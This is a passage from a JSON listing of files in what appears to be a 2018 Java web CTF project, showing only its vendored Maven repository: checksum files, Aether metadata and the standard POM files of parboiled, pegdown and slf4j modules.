    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nparboiled-core-1.1.4.jar>central=\nparboiled-core-1.1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/parboiled-core-1.1.4.jar.sha1",
    "content": "dffdc483d52209c5bd7c7f665f985f6368bc3da7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/parboiled-core-1.1.4.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://maven.apache.org/POM/4.0.0\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.parboiled</groupId>\n    <artifactId>parboiled-core</artifactId>\n    <packaging>jar</packaging>\n    <description>Elegant parsing in Java and Scala - lightweight, easy-to-use, powerful</description>\n    <url>http://parboiled.org</url>\n    <version>1.1.4</version>\n    <licenses>\n        <license>\n            <name>Apache 2</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n    <name>parboiled-core</name>\n    <inceptionYear>2009</inceptionYear>\n    <organization>\n        <name>org.parboiled</name>\n        <url>http://parboiled.org</url>\n    </organization>\n    <scm>\n        <url>git@github.com:sirthias/parboiled.git</url>\n        <connection>scm:git:git@github.com:sirthias/parboiled.git</connection>\n    </scm>\n    <developers>\n        <developer>\n            <id>sirthias</id>\n            <name>Mathias Doenitz</name>\n        </developer>\n    </developers>\n    <dependencies>\n        <dependency>\n            <groupId>org.testng</groupId>\n            <artifactId>testng</artifactId>\n            <version>5.14.1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.scalatest</groupId>\n            <artifactId>scalatest_2.10.0-RC3</artifactId>\n            <version>1.8-B1</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-core/1.1.4/parboiled-core-1.1.4.pom.sha1",
    "content": "62965822c34fe24b815e2ee75a5af58fc4e8b8a6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nparboiled-java-1.1.4.jar>central=\nparboiled-java-1.1.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/parboiled-java-1.1.4.jar.sha1",
    "content": "e59a880c51b753d7d25505560cbe256dd8b2c831"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/parboiled-java-1.1.4.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://maven.apache.org/POM/4.0.0\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.parboiled</groupId>\n    <artifactId>parboiled-java</artifactId>\n    <packaging>jar</packaging>\n    <description>Elegant parsing in Java and Scala - lightweight, easy-to-use, powerful</description>\n    <url>http://parboiled.org</url>\n    <version>1.1.4</version>\n    <licenses>\n        <license>\n            <name>Apache 2</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n    <name>parboiled-java</name>\n    <inceptionYear>2009</inceptionYear>\n    <organization>\n        <name>org.parboiled</name>\n        <url>http://parboiled.org</url>\n    </organization>\n    <scm>\n        <url>git@github.com:sirthias/parboiled.git</url>\n        <connection>scm:git:git@github.com:sirthias/parboiled.git</connection>\n    </scm>\n    <developers>\n        <developer>\n            <id>sirthias</id>\n            <name>Mathias Doenitz</name>\n        </developer>\n    </developers>\n    <dependencies>\n        <dependency>\n            <groupId>org.parboiled</groupId>\n            <artifactId>parboiled-core</artifactId>\n            <version>1.1.4</version>\n        </dependency>\n        <dependency>\n            <groupId>org.testng</groupId>\n            <artifactId>testng</artifactId>\n            <version>5.14.1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.scalatest</groupId>\n            <artifactId>scalatest_2.10.0-RC3</artifactId>\n            <version>1.8-B1</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.ow2.asm</groupId>\n            <artifactId>asm</artifactId>\n            <version>4.1</version>\n        </dependency>\n        <dependency>\n            <groupId>org.ow2.asm</groupId>\n            <artifactId>asm-tree</artifactId>\n            <version>4.1</version>\n        </dependency>\n        <dependency>\n            <groupId>org.ow2.asm</groupId>\n            <artifactId>asm-analysis</artifactId>\n            <version>4.1</version>\n        </dependency>\n        <dependency>\n            <groupId>org.ow2.asm</groupId>\n            <artifactId>asm-util</artifactId>\n            <version>4.1</version>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/parboiled/parboiled-java/1.1.4/parboiled-java-1.1.4.pom.sha1",
    "content": "182e4b91de08e5db85466f891026b2a466010f54"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\npegdown-1.2.1.jar>central=\npegdown-1.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/pegdown-1.2.1.jar.sha1",
    "content": "47689e060d90f90431b5ab2df911452b93930d8c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/pegdown-1.2.1.pom",
    "content": "<?xml version='1.0' encoding='UTF-8'?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://maven.apache.org/POM/4.0.0\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>org.pegdown</groupId>\n    <artifactId>pegdown</artifactId>\n    <packaging>jar</packaging>\n    <description>A Java 1.5+ library providing a clean and lightweight markdown processor</description>\n    <url>http://pegdown.org</url>\n    <version>1.2.1</version>\n    <licenses>\n        <license>\n            <name>Apache 2</name>\n            <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n            <distribution>repo</distribution>\n        </license>\n    </licenses>\n    <name>pegdown</name>\n    <inceptionYear>2009</inceptionYear>\n    <organization>\n        <name>org.pegdown</name>\n        <url>http://pegdown.org</url>\n    </organization>\n    <scm>\n        <url>git@github.com:sirthias/pegdown.git</url>\n        <connection>scm:git:git@github.com:sirthias/pegdown.git</connection>\n    </scm>\n    <developers>\n        <developer>\n            <id>sirthias</id>\n            <name>Mathias Doenitz</name>\n        </developer>\n    </developers>\n    <dependencies>\n        <dependency>\n            <groupId>org.parboiled</groupId>\n            <artifactId>parboiled-java</artifactId>\n            <version>1.1.4</version>\n        </dependency>\n        <dependency>\n            <groupId>net.sf.jtidy</groupId>\n            <artifactId>jtidy</artifactId>\n            <version>r938</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.specs2</groupId>\n            <artifactId>specs2_2.9.2</artifactId>\n            <version>1.12.2</version>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/pegdown/pegdown/1.2.1/pegdown-1.2.1.pom.sha1",
    "content": "5ada4f90b1651ae7b89766df379740215570fec7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\njcl-over-slf4j-1.5.6.jar>central=\njcl-over-slf4j-1.5.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.jar.sha1",
    "content": "629680940b7dcb02c3904deb85992b462c42e272"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n\t<parent>\n\t\t<groupId>org.slf4j</groupId>\n\t\t<artifactId>slf4j-parent</artifactId>\n    <version>1.5.6</version>\n\t</parent>\n\t\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>org.slf4j</groupId>\n\t<artifactId>jcl-over-slf4j</artifactId>\n\t<packaging>jar</packaging>\n\t<name>JCL 1.1.1 implemented over SLF4J</name>\n\n\t<url>http://www.slf4j.org</url>\n\t<description>\n\t\tJCL 1.1.1 implementation over SLF4J\n\t</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-nop</artifactId>\n      <version>${project.version}</version>\n      <scope>provided</scope>\n  </dependency>\n   \n  </dependencies>\n\n  <build>\n    <plugins>\t\t\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Bundle-Version>${project.version}</Bundle-Version>\n              <Bundle-Description>${project.description}</Bundle-Description>\n              <Implementation-Version>${project.version}</Implementation-Version>\n            </manifestEntries>\n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\t\t\t\n      </plugin>\n    </plugins>\n  </build>\n\n  <!-- Check whether we comply with the interfaces of JCL 1.1.1\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <configuration>\n          <comparisonArtifacts>            \n            <comparisonArtifact>\n              <groupId>commons-logging</groupId>\n              <artifactId>commons-logging</artifactId>\n              <version>1.1.1</version>\n            </comparisonArtifact>\n          </comparisonArtifacts>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n  -->\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/jcl-over-slf4j/1.5.6/jcl-over-slf4j-1.5.6.pom.sha1",
    "content": "8aa25adef55174f1436073e551953c2f74a5c71b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nslf4j-api-1.5.6.jar>central=\nslf4j-api-1.5.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.jar.sha1",
    "content": "ec9b7142625dfa1dcaf22db99ecb7c555ffa714d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <parent>\n    <groupId>org.slf4j</groupId>\n    <artifactId>slf4j-parent</artifactId>\n    <version>1.5.6</version>\n  </parent>\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.slf4j</groupId>\n  <artifactId>slf4j-api</artifactId>\n  <packaging>jar</packaging>\n  <name>SLF4J API Module</name>\n\n  <url>http://www.slf4j.org</url>\n  <description>The slf4j API</description>\n\n  <dependencies>\n\n  </dependencies> \n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n          <reportFormat>plain</reportFormat>\n          <trimStackTrace>false</trimStackTrace>\n          <excludes>\n            <exclude>**/AllTest.java</exclude>\n            <exclude>**/PackageTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Bundle-Version>${project.version}</Bundle-Version>\n              <Bundle-Description>${project.description}</Bundle-Description>\n              <Implementation-Version>${project.version}</Implementation-Version>\n            </manifestEntries>\n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-test-jar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>process-classes</phase>\n            <goals>\n             <goal>run</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <tasks>\n            <echo>Removing slf4j-api's dummy StaticLoggerBinder and StaticMarkerBinder</echo>\n            <delete dir=\"target/classes/org/slf4j/impl\"/>\n          </tasks>\n        </configuration>\n      </plugin>\n\n    </plugins>\n\n  </build>\n  \n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <configuration>\n          <comparisonVersion>1.5.3</comparisonVersion>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.5.6/slf4j-api-1.5.6.pom.sha1",
    "content": "b79729ffc12292c0ec755db12360486066f6fd34"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nslf4j-api-1.6.4.jar>central=\nslf4j-api-1.6.4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/slf4j-api-1.6.4.jar.sha1",
    "content": "2396d74b12b905f780ed7966738bb78438e8371a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/slf4j-api-1.6.4.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n  <parent>\n    <groupId>org.slf4j</groupId>\n    <artifactId>slf4j-parent</artifactId>\n    <version>1.6.4</version>\n  </parent>\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>org.slf4j</groupId>\n  <artifactId>slf4j-api</artifactId>\n  <packaging>jar</packaging>\n  <name>SLF4J API Module</name>\n\n  <url>http://www.slf4j.org</url>\n  <description>The slf4j API</description>\n\n  <dependencies>\n\n  </dependencies> \n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n          <reportFormat>plain</reportFormat>\n          <trimStackTrace>false</trimStackTrace>\n          <excludes>\n            <exclude>**/AllTest.java</exclude>\n            <exclude>**/PackageTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Bundle-Version>${parsedVersion.osgiVersion}</Bundle-Version>\n              <Bundle-Description>${project.description}</Bundle-Description>\n              <Implementation-Version>${project.version}</Implementation-Version>\n            </manifestEntries>\n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-test-jar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>process-classes</phase>\n            <goals>\n             <goal>run</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <tasks>\n            <echo>Removing slf4j-api's dummy StaticLoggerBinder and StaticMarkerBinder</echo>\n            <delete dir=\"target/classes/org/slf4j/impl\"/>\n          </tasks>\n        </configuration>\n      </plugin>\n\n    </plugins>\n\n  </build>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.6.4/slf4j-api-1.6.4.pom.sha1",
    "content": "93c66c9afd6cf7b91bd4ecf38a60ca48fc5f2078"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nslf4j-api-1.7.25.jar>central=\nslf4j-api-1.7.25.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/slf4j-api-1.7.25.jar.sha1",
    "content": "da76ca59f6a57ee3102f8f9bd9cee742973efa8a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/slf4j-api-1.7.25.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.slf4j</groupId>\n    <artifactId>slf4j-parent</artifactId>\n    <version>1.7.25</version>\n  </parent>\n\n  <artifactId>slf4j-api</artifactId>\n\n  <packaging>jar</packaging>\n  <name>SLF4J API Module</name>\n  <description>The slf4j API</description>\n\n  <url>http://www.slf4j.org</url>\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>animal-sniffer-maven-plugin</artifactId>\n        <configuration>\n          <!-- Signatures cannot be determined and will error unless excluded.  This is isolated to\n               code otherwise already marked for removal in the module artifact. -->\n          <ignores>\n            <ignore>org.slf4j.impl.StaticMDCBinder</ignore>\n            <ignore>org.slf4j.impl.StaticLoggerBinder</ignore>\n            <ignore>org.slf4j.impl.StaticMarkerBinder</ignore>\n          </ignores>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n          <reportFormat>plain</reportFormat>\n          <trimStackTrace>false</trimStackTrace>\n          <excludes>\n            <exclude>**/AllTest.java</exclude>\n            <exclude>**/PackageTest.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>bundle-test-jar</id>\n            <phase>package</phase>\n            <goals>\n              <goal>jar</goal>\n              <goal>test-jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>process-classes</phase>\n            <goals>\n             <goal>run</goal>\n            </goals>\n          </execution>\n        </executions>\n        <configuration>\n          <tasks>\n            <echo>Removing slf4j-api's dummy StaticLoggerBinder and StaticMarkerBinder</echo>\n            <delete dir=\"target/classes/org/slf4j/impl\"/>\n          </tasks>\n        </configuration>\n      </plugin>\n    </plugins>\n\n    <pluginManagement>\n    \t<plugins>\n    \t\t<!--This plugin's configuration is used to store Eclipse m2e settings only. It has no influence on the Maven build itself.-->\n    \t\t<plugin>\n    \t\t\t<groupId>org.eclipse.m2e</groupId>\n    \t\t\t<artifactId>lifecycle-mapping</artifactId>\n    \t\t\t<version>1.0.0</version>\n    \t\t\t<configuration>\n    \t\t\t\t<lifecycleMappingMetadata>\n    \t\t\t\t\t<pluginExecutions>\n    \t\t\t\t\t\t<pluginExecution>\n    \t\t\t\t\t\t\t<pluginExecutionFilter>\n    \t\t\t\t\t\t\t\t<groupId>\n    \t\t\t\t\t\t\t\t\torg.apache.maven.plugins\n    \t\t\t\t\t\t\t\t</groupId>\n    \t\t\t\t\t\t\t\t<artifactId>\n    \t\t\t\t\t\t\t\t\tmaven-antrun-plugin\n    \t\t\t\t\t\t\t\t</artifactId>\n    \t\t\t\t\t\t\t\t<versionRange>[1.3,)</versionRange>\n    \t\t\t\t\t\t\t\t<goals>\n    \t\t\t\t\t\t\t\t\t<goal>run</goal>\n    \t\t\t\t\t\t\t\t</goals>\n    \t\t\t\t\t\t\t</pluginExecutionFilter>\n    \t\t\t\t\t\t\t<action>\n    \t\t\t\t\t\t\t\t<ignore></ignore>\n    \t\t\t\t\t\t\t</action>\n    \t\t\t\t\t\t</pluginExecution>\n    \t\t\t\t\t</pluginExecutions>\n    \t\t\t\t</lifecycleMappingMetadata>\n    \t\t\t</configuration>\n    \t\t</plugin>\n    \t</plugins>\n    </pluginManagement>\n  </build>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-api/1.7.25/slf4j-api-1.7.25.pom.sha1",
    "content": "df51c4a85dd6acf8b6cdc9323596766b3d577c28"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nslf4j-jdk14-1.5.6.jar>central=\nslf4j-jdk14-1.5.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.jar.sha1",
    "content": "cc383fbd07dd1826bbcba1b907bbdc0b5be627f1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.pom",
    "content": "<project \n  xmlns=\"http://maven.apache.org/POM/4.0.0\" \n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n\t<parent>\n\t\t<groupId>org.slf4j</groupId>\n\t\t<artifactId>slf4j-parent</artifactId>\n    \t<version>1.5.6</version>\n\t</parent>\n\t\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>org.slf4j</groupId>\n\t<artifactId>slf4j-jdk14</artifactId>\n\n\t<packaging>jar</packaging>\n\t<name>SLF4J JDK14 Binding</name>\n\n\t<url>http://www.slf4j.org</url>\n\t<description>\n\t\tThe slf4j JDK14 binding\n\t</description>\n\n  <dependencies>\n\t  <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-api</artifactId>\n\t\t</dependency>\n\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-api</artifactId>\n      <type>test-jar</type>\n      <version>${project.version}</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n\t\t<plugins>\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.4</source>\n\t\t\t\t\t<target>1.4</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\n\t\t\t<plugin>\n\t\t\t  <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestEntries>\n              <Bundle-Version>${project.version}</Bundle-Version>\n              <Bundle-Description>${project.description}</Bundle-Description>\n              <Implementation-Version>${project.version}</Implementation-Version>\n            </manifestEntries>\n            <manifestFile>${project.build.outputDirectory}/META-INF/MANIFEST.MF</manifestFile>\n          </archive>\n        </configuration>\t\t\t\n      </plugin>\n    </plugins>\n  </build>\n\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-jdk14/1.5.6/slf4j-jdk14-1.5.6.pom.sha1",
    "content": "cbc0f6b542435be20eba2fc698cf209e606ec1b4"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.5.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:40 CST 2018\nslf4j-parent-1.5.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/slf4j/slf4j-parent/1.5.6/slf4j-parent-1.5.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>org.slf4j</groupId>\n\t<artifactId>slf4j-parent</artifactId>\n\t<version>1.5.6</version>\n\n\t<packaging>pom</packaging>\n\t<name>SLF4J</name>\n\n\t<url>http://www.slf4j.org</url>\n\n\t<organization>\n\t\t<name>QOS.ch</name>\n\t\t<url>http://www.qos.ch</url>\n\t</organization>\n\t<inceptionYear>2005</inceptionYear>\n\n  <properties>\n  </properties>\n\n\t<modules>\n\t\t<module>slf4j-api</module>\n    <module>slf4j-simple</module>  \n    <module>slf4j-nop</module>\n\t\t<module>slf4j-jdk14</module>\n    <module>slf4j-log4j12</module>\n    <module>slf4j-jcl</module>\n    <module>slf4j-ext</module>  \n    <module>jcl-over-slf4j</module>\n    <module>jcl104-over-slf4j</module>\n    <module>log4j-over-slf4j</module>\n    <module>jul-to-slf4j</module>\n    <module>integration</module>\n    <module>slf4j-site</module>\n    <module>slf4j-migrator</module>\n  </modules>\n\n\t<dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n \n <dependencyManagement>\n    <dependencies>\n\n      <dependency>\n        <groupId>org.slf4j</groupId>\n        <artifactId>slf4j-api</artifactId>\n        <version>${project.version}</version>\n      </dependency>\n\n      <dependency>\n        <groupId>log4j</groupId>\n        <artifactId>log4j</artifactId>\n        <version>1.2.14</version>\n      </dependency>\n\n   </dependencies>\n </dependencyManagement>\n\n\n\t<build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>true</filtering>\n      </resource>\n    </resources>\n\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.3</source>\n\t\t\t\t\t<target>1.3</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n \n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-surefire-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<forkMode>once</forkMode>\n\t\t\t\t\t<reportFormat>plain</reportFormat>\n\t\t\t\t\t<trimStackTrace>false</trimStackTrace>\n\t\t\t\t\t<excludes>\n\t\t\t\t\t\t<exclude>**/AllTest.java</exclude>\n\t\t\t\t\t\t<exclude>**/PackageTest.java</exclude>\n\t\t\t\t\t</excludes>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\t\t\n\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>        \n        <artifactId>maven-source-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>              \n              <goal>jar</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n        \t<aggregate>true</aggregate>\n          